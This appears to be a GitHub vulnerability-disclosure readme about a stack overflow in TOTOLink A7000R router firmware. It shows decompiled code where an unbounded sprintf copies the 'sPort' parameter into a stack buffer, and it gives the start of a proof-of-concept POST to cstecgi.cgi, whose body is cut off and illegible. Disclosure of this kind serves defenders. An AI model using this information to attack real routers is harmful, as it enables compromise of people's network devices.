

main vuln / TOTOLINK / A7000R / 10 /



Darry-lang1 Add files via upload ...

on Jul 26 History

..



img

4 months ago



readme.md

4 months ago



readme.md

# TOTOLink A7000R V9.1.0u.6115\_B20201022 has a stack overflow vulnerability

## Overview

- Manufacturer's website information: <https://www.totolink.net/>
- Firmware download address :  
[https://www.totolink.net/home/menu/detail/menu\\_listtpl/download/id/171/ids/36.htm](https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/171/ids/36.htm)

## Product Information

TOTOLink A7000R V9.1.0u.6115\_B20201022 router, the latest version of simulation overview:

NO	Name	Version	Updated	Download
1	A7000R_Datasheet	Ver1.0	2020-08-07	<a href="#"></a>
2	A7000R_Firmware	V4.1cu.3053_B20180329	2020-09-10	<a href="#"></a>
3	A7000R_Firmware	V4.1cu.3382_B20180529	2020-09-10	<a href="#"></a>
4	A7000R_Firmware	V4.1cu.4080_B20190530	2020-09-10	<a href="#"></a>
5	A7000R_Firmware	V4.1cu.4154_B20191014	2020-09-10	<a href="#"></a>
6	A7000R_Firmware	V9.1.0u.6115_B20201022(Transition version)	2020-12-30	<a href="#"></a>

## Vulnerability details

```

19 Var = websGetVar(a1, "addEffect", (int)&word_43908C);
20 v3 = atoi(Var);
21 v4 = websGetVar(a1, "enable", (int)&word_43908C);
22 v5 = atoi(v4);
23 memset(v15, 0, sizeof(v15));
24 memset(v16, 0, sizeof(v16));
25 if ( !v3 )
26 {
27     nvram_set_int("fw_lw_enable_x", v5 != 0);
28 LABEL_20:
29     nvram_commit();
30     notify_rc("restart_firewall");
31     goto LABEL_21;
32 }
33 v6 = websGetVar(a1, "ip", (int)&byte_43AFC8);
34 v7 = websGetVar(a1, "proto", (int)&byte_43AFC8);
35 v8 = websGetVar(a1, "sPort", (int)&byte_43AFC8);
36 v9 = websGetVar(a1, "ePort", (int)&byte_43AFC8);
37 v17 = websGetVar(a1, "desc", (int)&byte_43AFC8);
38 v10 = websGetVar(a1, "time", (int)&byte_43AFC8);
39 v11 = websGetVar(a1, "date", (int)&byte_43AFC8);
40 sprintf(v16, "%s:%s", v8, v9);
41 if ( v6 && v8 && v9 && (*v6 || *v8 || *v9) )
42 {
43     if ( v3 != 1 )
44     {
0001F62C sub 41F594:22 (41F62C)

```

v8 is formatted into v16 through sprintf function, and v8 is the value of sPort we enter. The size of the format string is not limited, resulting in stack overflow.

## Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1

```

[illegible]

